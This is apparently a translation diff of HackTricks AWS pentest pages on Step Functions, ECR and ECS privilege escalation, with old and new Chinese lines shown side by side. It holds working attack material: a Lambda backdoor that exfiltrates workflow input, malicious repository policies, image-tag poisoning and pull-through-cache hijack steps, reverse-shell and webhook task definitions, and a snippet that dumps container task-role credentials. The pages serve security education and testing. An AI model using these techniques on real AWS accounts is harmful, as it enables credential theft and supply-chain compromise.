||||
|
||||
该场景假定受害者使用 **AWS Step Functions 来编排处理敏感输入的工作流**,例如 credentials、tokens 或 PII。
|
||||
本情景假定受害者使用 **AWS Step Functions to orchestrate workflows that process sensitive input**,例如 credentials、tokens 或 PII。
|
||||
|
||||
示例受害者调用:
|
||||
示例受害者调用:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
如果 Step Function 被配置为调用像 `LegitBusinessLogic` 这样的 Lambda,攻击者可以继续进行**两种隐蔽的攻击变体**:
|
||||
如果 Step Function 被配置为调用像 `LegitBusinessLogic` 这样的 Lambda,攻击者可以继续进行**两个隐蔽的攻击变体**:
|
||||
|
||||
---
|
||||
|
||||
#### 更新了 lambda 函数
|
||||
|
||||
攻击者修改 Step Function 已使用的 Lambda 函数(`LegitBusinessLogic`)的代码,以静默 exfiltrate 输入数据。
|
||||
攻击者修改 Step Function 已使用的 Lambda 函数(`LegitBusinessLogic`)的代码,以静默地 exfiltrate 输入数据。
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -120,11 +162,9 @@ aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### 向 Step Function 添加恶意状态
|
||||
|
||||
或者,攻击者可以通过更新 Step Function 定义,在工作流的开始处注入一个 **exfiltration state**。
|
||||
或者,攻击者可以通过更新 Step Function 定义,在工作流开始处注入一个 **exfiltration state**。
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
@@ -145,7 +185,7 @@ aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
攻击者甚至可以更隐蔽地将状态定义更新为如下:
|
||||
The attacker can even more stealthy to update the state definition to something like this
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
@@ -164,22 +204,22 @@ aws stepfunctions update-state-machine \
|
||||
}
|
||||
}
|
||||
}
|
||||
受害者不会注意到差异
|
||||
where the victim won't realize the different
|
||||
|
||||
---
|
||||
|
||||
### 受害者设置 (Context for Exploit)
|
||||
### 受害者设置(利用上下文)
|
||||
|
||||
- 一个 Step Function (`LegitStateMachine`) 用于处理敏感用户输入。
|
||||
- 它调用一个或多个 Lambda 函数,例如 `LegitBusinessLogic`。
|
||||
- 一个 Step Function (`LegitStateMachine`) 被用于处理敏感的用户输入。
|
||||
- 它会调用一个或多个 Lambda 函数,例如 `LegitBusinessLogic`。
|
||||
|
||||
---
|
||||
|
||||
**潜在影响**:
|
||||
**潜在影响**:
|
||||
- 静默 exfiltration 敏感数据,包括 secrets、credentials、API keys 和 PII。
|
||||
- 工作流执行中无可见错误或失败。
|
||||
- 如果不审计 Lambda 代码或执行跟踪,难以检测。
|
||||
- 如果 backdoor 保留在代码或 ASL 逻辑中,可实现长期持久性。
|
||||
- 在工作流执行中不会出现可见的错误或失败。
|
||||
- 如果不审计 Lambda 代码或执行跟踪,难以检测到。
|
||||
- 如果 backdoor 保留在代码或 ASL 逻辑中,则可实现长期持久性。
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
具有 **`ecr:GetAuthorizationToken`** 和 **`ecr:BatchGetImage`** 的攻击者可以登录 ECR 并下载镜像。
|
||||
拥有 **`ecr:GetAuthorizationToken`** 和 **`ecr:BatchGetImage`** 的攻击者可以登录到 ECR 并下载镜像。
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,11 +14,21 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在影响:** 通过拦截流量中的敏感信息实现间接 privesc。
|
||||
**Potential Impact:** 通过拦截流量中的敏感信息导致间接 privesc。
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
拥有这些权限的攻击者 **可以登录 ECR 并上传镜像**。这可用于在使用这些镜像的其他环境中 escalate privileges。
|
||||
拥有上述所有权限的攻击者**可以登录到 ECR 并上传镜像**。这可以用于在使用这些镜像的其他环境中提升权限。
|
||||
|
||||
此外,`ecr:PutImage` 可用于通过在该标签下上传不同的镜像 manifest 来**覆盖现有标签**(例如 `stable` / `prod`),从而有效劫持基于标签的部署。
|
||||
|
||||
当下游消费者按标签部署并在标签更改时**自动刷新**时,这将尤其具有影响,例如:
|
||||
|
||||
- **Lambda container image functions** (`PackageType=Image`) 引用 `.../repo:stable`
|
||||
- ECS services / Kubernetes workloads 拉取 `repo:prod`(未进行 digest 固定)
|
||||
- 任何基于 ECR 事件重新部署的 CI/CD
|
||||
|
||||
在这些情况下,标签覆盖可能导致消费者环境中的 **remote code execution**,并提升到该工作负载使用的 IAM 角色的权限(例如具有 `secretsmanager:GetSecretValue` 权限的 Lambda 执行角色)。
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -28,17 +38,18 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
与上一节类似,但针对公共仓库。
|
||||
与前一节类似,但适用于公共仓库。
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
具有此权限的攻击者可以**更改****仓库**的**策略**,以授予自己(或甚至所有人)**读/写 访问权限**.\ 例如,下面的示例向所有人授予了读取访问权限。
|
||||
拥有此权限的攻击者可以**更改****仓库**的**策略**,授予自己(或甚至所有人)**读/写访问**。\
|
||||
例如,在下面的例子中,读取权限被授予所有人。
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
以下是 `my-policy.json` 的内容:
|
||||
以下是 `my-policy.json` 的内容:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -58,8 +69,8 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
与上一节类似,但适用于公共仓库。\
|
||||
攻击者可以**修改仓库策略**,从而对 ECR Public 仓库授予未授权的公共访问或提升其权限。
|
||||
与上一节类似,但针对公共仓库。\
|
||||
攻击者可以**修改该 ECR Public 仓库的仓库策略**,以授予未经授权的公共访问或提升其权限。
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -86,11 +97,11 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**潜在影响**: 未经授权的公开访问 ECR Public 存储库,允许任何用户推送、拉取或删除镜像。
|
||||
**潜在影响**: 未经授权的公开访问 ECR Public 仓库,允许任何用户 push、pull 或 delete 镜像。
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
拥有此权限的攻击者可以**更改****注册表策略**,从而授予自己、其账户(甚至所有人)**读/写访问**。
|
||||
具有此权限的攻击者可以**更改****注册表策略**,以授予其本人、其账户(或甚至所有人)**read/write access**。
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -98,12 +109,12 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
滥用 ECR Pull Through Cache (PTC) 规则,将攻击者控制的上游命名空间映射到受信任的私有 ECR 前缀。这样,从私有 ECR 拉取镜像的工作负载会透明地接收攻击者的镜像,而无需向私有 ECR 执行任何 push 操作。
|
||||
滥用 ECR Pull Through Cache (PTC) 规则,将攻击者控制的上游命名空间映射到受信任的私有 ECR 前缀。这样,从私有 ECR 拉取的工作负载会透明地接收攻击者的镜像,而无需向私有 ECR 推送任何内容。
|
||||
|
||||
- 所需权限:ecr:CreatePullThroughCacheRule、ecr:DescribePullThroughCacheRules、ecr:DeletePullThroughCacheRule。如果使用 ECR Public 作为上游:需要 ecr-public:* 来创建/推送到公有仓库。
|
||||
- 测试的上游:public.ecr.aws
|
||||
- 需要的权限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule。若使用 ECR Public 作为上游:ecr-public:* 用于在公共仓库中创建/推送。
|
||||
- 测试过的上游: public.ecr.aws
|
||||
|
||||
步骤(示例):
|
||||
Steps (example):
|
||||
|
||||
1. 在 ECR Public 中准备攻击者镜像
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
@@ -111,27 +122,27 @@ docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. 在私有 ECR 中创建 PTC 规则,将受信任的前缀映射到公有注册表
|
||||
2. 在私有 ECR 中创建 PTC 规则,将受信任的前缀映射到公共注册表
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. 通过私有 ECR 路径拉取攻击者镜像(未向私有 ECR 执行 push)
|
||||
3. 通过私有 ECR 路径拉取攻击者镜像(未向私有 ECR 推送任何内容)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
潜在影响:通过劫持所选前缀下的内部镜像名称造成供应链妥协。任何使用该前缀从私有 ECR 拉取镜像的工作负载都会接收到攻击者控制的内容。
|
||||
Potential Impact: 通过劫持所选前缀下的内部镜像名称,实现供应链妥协。任何通过该前缀从私有 ECR 拉取镜像的工作负载都会收到攻击者控制的内容。
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
滥用此权限可以将具有标签不可变性的仓库切换为可变,从而用攻击者控制的内容覆盖受信任的标签(例如 latest、stable、prod)。
|
||||
滥用该权限可将启用了标签不可变性的仓库切换为可变,并用攻击者控制的内容覆盖受信任的标签(例如 latest、stable、prod)。
|
||||
|
||||
- 所需权限:`ecr:PutImageTagMutability`,以及推送相关能力(`ecr:GetAuthorizationToken`、`ecr:InitiateLayerUpload`、`ecr:UploadLayerPart`、`ecr:CompleteLayerUpload`、`ecr:PutImage`)。
|
||||
- 影响:通过在不更改标签名称的情况下悄然替换不可变标签造成供应链妥协。
|
||||
- 需要的权限: `ecr:PutImageTagMutability` 加上推送能力(`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`)。
|
||||
- 影响: 通过在不更改标签名称的情况下静默替换不可变标签,实现供应链妥协。
|
||||
|
||||
步骤(示例):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>通过切换可变性来污染不可变标签</summary>
|
||||
<summary>通过切换可变性来投毒不可变标签</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -151,17 +162,17 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### 通过 ROOT Pull-Through Cache 规则实现全局注册表劫持
|
||||
#### 通过 ROOT Pull-Through Cache 规则进行全局 registry 劫持
|
||||
|
||||
使用特殊的 `ecrRepositoryPrefix=ROOT` 创建一个 Pull-Through Cache (PTC) 规则,将私有 ECR 注册表的根映射到上游公共注册表(例如 ECR Public)。对私有注册表中不存在的仓库的任何 pull 操作都会透明地从上游提供,从而在无需向私有 ECR 推送的情况下实现供应链劫持。
|
||||
使用特殊的 `ecrRepositoryPrefix=ROOT` 创建一个 Pull-Through Cache (PTC) 规则,将私有 ECR registry 的根映射到上游公共 registry(例如 ECR Public)。对私有 registry 中不存在的仓库的任何 pull 都会被透明地从上游提供,从而在无需向私有 ECR 推送的情况下实现 supply-chain hijacking。
|
||||
|
||||
- 所需权限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- 影响: 对 `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` 的 pull 将成功,并会自动基于上游创建私有仓库。
|
||||
- 影响: 对 `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` 的拉取将成功并自动创建来自上游的私有仓库。
|
||||
|
||||
> 注意: 对于 `ROOT` 规则,请省略 `--upstream-repository-prefix`。若提供该参数将导致验证错误。
|
||||
> 注意:对于 `ROOT` 规则,省略 `--upstream-repository-prefix`。提供它会导致验证错误。
|
||||
|
||||
<details>
|
||||
<summary>演示 (us-east-1,上游 public.ecr.aws)</summary>
|
||||
<summary>演示 (us-east-1, upstream public.ecr.aws)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -190,12 +201,12 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting`(将 `REGISTRY_POLICY_SCOPE` 降级以绕过注册表策略 Deny)
|
||||
### `ecr:PutAccountSetting`(将 `REGISTRY_POLICY_SCOPE` 降级以绕过 registry policy 的 Deny)
|
||||
|
||||
利用 `ecr:PutAccountSetting` 将注册表策略范围从 `V2`(策略适用于所有 ECR 操作)切换到 `V1`(策略仅适用于 `CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage`)。如果一个限制性的注册表策略 Deny 阻止了像 `CreatePullThroughCacheRule` 这样的操作,将范围降级到 `V1` 会移除该强制执行,从而使身份策略中的 Allows 生效。
|
||||
滥用 `ecr:PutAccountSetting` 将 registry policy 范围从 `V2`(策略适用于所有 ECR 操作)切换为 `V1`(策略仅适用于 `CreateRepository`、`ReplicateImage`、`BatchImportUpstreamImage`)。如果一个限制性的 registry policy Deny 阻止了像 `CreatePullThroughCacheRule` 这样的操作,降级到 `V1` 会移除该强制,从而让身份策略的 Allow 生效。
|
||||
|
||||
- 所需权限:`ecr:PutAccountSetting`、`ecr:PutRegistryPolicy`、`ecr:GetRegistryPolicy`、`ecr:CreatePullThroughCacheRule`、`ecr:DescribePullThroughCacheRules`、`ecr:DeletePullThroughCacheRule`。
|
||||
- 影响:能够通过临时将范围设置为 `V1` 来执行之前被注册表策略 Deny 阻止的 ECR 操作(例如,创建 PTC 规则)。
|
||||
- 所需权限:`ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- 影响:通过临时将范围设置为 `V1`,能够执行之前被 registry policy Deny 阻止的 ECR 操作(例如创建 PTC 规则)。
|
||||
|
||||
步骤(示例):
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
更多 **关于 ECS 的信息**:
|
||||
关于 **ECS** 的更多信息见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
攻击者滥用 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限时,可在 ECS 中生成一个新的 task definition,包含窃取元数据凭证的恶意容器,并运行它。
|
||||
攻击者在 ECS 中滥用 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限,可以**生成新的任务定义**,在其中放入**恶意容器**以窃取元数据凭证并**运行该任务**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
在像 webhook.site 这样的网站上创建一个 webhook
|
||||
使用像 webhook.site 这样的站点创建一个 webhook
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 直接 privesc 到不同的 ECS role。
|
||||
**潜在影响:** Direct privesc to a different ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
拥有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS task,并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志,可在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`,而无需触及 task definition。
|
||||
拥有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS task,并在运行时修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志,允许在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`,而无需修改 task definition。
|
||||
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM role 在其 trust policy 中必须信任/允许由 `ecs-tasks.amazonaws.com` 来 assume。
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色必须在其信任策略中信任/允许由 `ecs-tasks.amazonaws.com` 来假定。
|
||||
|
||||
另外,攻击者还需要知道:
|
||||
此外,攻击者还需要知道:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group(如果未指定 security group,则会使用默认的)
|
||||
- Security group (如果未指定 security group,则使用默认的)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
在上面的代码片段中,攻击者只覆盖了 `taskRoleArn` 的值。不过,为了使攻击得以发生,攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限。
|
||||
在上面的代码片段中,攻击者仅覆盖了 `taskRoleArn` 的值。不过,攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限,攻击才会发生。
|
||||
|
||||
如果攻击者可以传递的 IAM 角色具有足够的权限来拉取到 ECR 镜像并启动 ECS 任务(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`),那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。
|
||||
如果攻击者可以传递的 IAM 角色具有足够权限来拉取 ECR 镜像并启动 ECS 任务(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`),那么攻击者可以在 `ecs run-task` 命令中将同一个 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**潜在影响:** 可直接对任何 ECS 任务角色 实现 privesc。
|
||||
**潜在影响:** 直接对任何 ECS 任务角色 的 privesc。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
就像在之前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 在 ECS 中的权限,可以 **生成一个新的任务定义**,并包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**。\
|
||||
但是,在这种情况下,需要有一个可用的容器实例来运行该恶意任务定义。
|
||||
正如前例,滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 在 ECS 中的权限,攻击者可以 **生成新的任务定义**,并包含 **恶意容器** 来窃取元数据凭证并 **运行它**。\
|
||||
然而,在这种情况下,需要有容器实例来运行该恶意任务定义。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**潜在影响:** 直接对任意 ECS 角色进行 privesc。
|
||||
**潜在影响:** 直接对任何 ECS 角色 的 privesc。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
与前面的示例类似,攻击者滥用 ECS 中的 **`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:UpdateService`** 或 **`ecs:CreateService`** 权限,能够 **生成新的任务定义(task definition)**,在其中放入窃取元数据凭证(metadata credentials)的**恶意容器**,并通过创建至少有 1 个任务在运行的新服务(service)来**运行它**。
|
||||
与前面的示例类似,攻击者滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限,可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证,并通过 **创建一个至少运行 1 个任务 的新服务来运行它。**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,7 +169,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potential Impact:** 直接获得对任意 ECS role 的 privesc。
|
||||
**Potential Impact:** 直接 privesc 到任何 ECS role。
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
@@ -181,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potential Impact:** 直接 privesc 到任何 ECS role。
|
||||
**Potential Impact:** 直接 privesc 到任何 ECS 角色。
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
这种情况与之前类似,但 **没有** **`iam:PassRole`** 权限。\
|
||||
这仍然很重要,因为如果你能运行任意容器,即使它没有 role,你也可以 **运行一个特权容器以逃逸** 到节点并 **窃取 EC2 IAM role** 以及 **在该节点上运行的其他 ECS 容器的 role**。\
|
||||
你甚至可以 **强制其他任务在你攻破的 EC2 实例内运行** 以窃取它们的凭证(如 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 所述)。
|
||||
这个场景与前面的类似,但**没有** **`iam:PassRole`** 权限。\
|
||||
这仍然很有趣,因为如果你可以运行任意容器,即使没有角色,你也可以**运行特权容器以逃逸**到节点并**窃取 EC2 IAM 角色**以及运行在节点上的**其他 ECS 容器角色**。\
|
||||
你甚至可以**强制其他任务在你入侵的 EC2 实例内运行**以窃取它们的凭证(如 [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) 所述)。
|
||||
|
||||
> [!WARNING]
|
||||
> 此攻击仅在 **ECS 集群正在使用 EC2** 而非 Fargate 时才可行。
|
||||
> 此攻击仅在 **ECS 集群 使用 EC2** 实例而非 Fargate 时可行。
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
拥有 **`ecs:ExecuteCommand`、`ecs:DescribeTasks`** 的攻击者可以在正在运行的容器内**执行命令**并外泄附加在该容器上的 IAM 角色(你需要 describe 权限,因为运行 `aws ecs execute-command` 时需要它)。\
|
||||
但是,为了实现这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下没有运行)。
|
||||
拥有 **`ecs:ExecuteCommand`、`ecs:DescribeTasks`** 的攻击者可以在运行中的容器内**执行命令**并窃取附加到它的 IAM 角色(你需要 describe 权限,因为运行 `aws ecs execute-command` 需要它)。\
|
||||
但是,为了做到这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下不运行)。
|
||||
|
||||
因此,攻击者可以尝试:
|
||||
|
||||
- **尝试在每个运行中的容器中运行命令**
|
||||
- **尝试在每个运行中的容器里运行命令**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,34 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- 如果拥有 **`ecs:RunTask`** 权限,使用 `aws ecs run-task --enable-execute-command [...]` 运行任务
|
||||
- 如果拥有 **`ecs:StartTask`** 权限,使用 `aws ecs start-task --enable-execute-command [...]` 运行任务
|
||||
- 如果拥有 **`ecs:CreateService`** 权限,使用 `aws ecs create-service --enable-execute-command [...]` 创建服务
|
||||
- 如果拥有 **`ecs:UpdateService`** 权限,使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
|
||||
一旦你在容器内获得了 shell,你通常可以从 the task credentials endpoint **extract the task role credentials** 并在容器外重用它们:
|
||||
```sh
|
||||
# Inside the container:
|
||||
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
|
||||
|
||||
你可以在 **先前的 ECS privesc 部分** 中找到这些选项的示例。
|
||||
# If you want to use them locally, print shell exports:
|
||||
python3 - <<'PY'
|
||||
import json, os, urllib.request
|
||||
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
|
||||
d = json.load(urllib.request.urlopen(u, timeout=2))
|
||||
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
|
||||
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
|
||||
print("export AWS_SESSION_TOKEN=" + d["Token"])
|
||||
PY
|
||||
```
|
||||
- 如果他有 **`ecs:RunTask`**,使用 `aws ecs run-task --enable-execute-command [...]` 运行一个任务
|
||||
- 如果他有 **`ecs:StartTask`**,使用 `aws ecs start-task --enable-execute-command [...]` 运行一个任务
|
||||
- 如果他有 **`ecs:CreateService`**,使用 `aws ecs create-service --enable-execute-command [...]` 创建一个服务
|
||||
- 如果他有 **`ecs:UpdateService`**,使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
|
||||
|
||||
**Potential Impact:** Privesc 到附加在容器上的不同角色。
|
||||
你可以在之前的 **ECS privesc** 部分找到这些选项的 **示例**。
|
||||
|
||||
**潜在影响:** privesc 至附加到容器的不同角色。
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
请查看 **ssm privesc page**,了解如何滥用此权限以 **privesc to ECS**:
|
||||
查看 **ssm privesc** 页面,了解如何滥用此权限以 **privesc 到 ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +291,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
请查看 **ec2 privesc page**,了解如何滥用这些权限以 **privesc to ECS**:
|
||||
查看 **ec2 privesc** 页面,了解如何滥用这些权限以 **privesc 到 ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,9 +299,43 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
具有这些权限的攻击者可能会在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。
|
||||
